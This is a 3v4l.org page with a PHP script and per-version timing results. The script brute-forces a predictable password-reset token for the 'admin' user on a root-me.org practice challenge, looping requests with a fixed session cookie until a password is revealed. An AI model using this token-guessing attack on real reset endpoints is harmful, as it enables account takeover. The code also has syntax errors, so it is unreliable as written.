3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ok = 1; while($ok==1){ $salt = microtime(); $generated_token = MD5('$salt' . rand(1, 100)); $url = "http://challenge01.root-me.org//realiste/ch14/?p=forgot_dev&username=admin&token=".$generated_token; echo $url; $ch = curl_init(); // configuration de l'URL et d'autres options curl_setopt($ch, CURLOPT_URL, $url ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Accept-Encoding: gzip,deflate,sdch Cookie: PHPSESSID=9211kbnklf3dbgq0o6k7ono9o6;); $chaine=curl_exec($ch); echo $chaine; if (strpos($chaine,"Votre mot de passe est") !== false) { echo $chaine; $ok = 2; } curl_close($ch); // fermeture de la session curl } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.10.0130.08320.33
7.0.00.0100.08720.16
5.6.160.0100.08320.54
5.6.150.0070.03718.16
5.6.140.0070.04018.28
5.6.130.0070.06018.19
5.6.120.0070.05720.98
5.6.110.0070.08021.14
5.6.100.0030.09321.13
5.6.90.0100.09020.95
5.6.80.0170.05720.42
5.5.300.0030.04017.98
5.5.290.0070.08718.03
5.5.280.0030.04720.88
5.5.270.0070.07320.89
5.5.260.0070.05020.71
5.5.250.0100.08720.69
5.5.240.0200.07020.24

preferences:
145.23 ms | 1394 KiB | 7 Q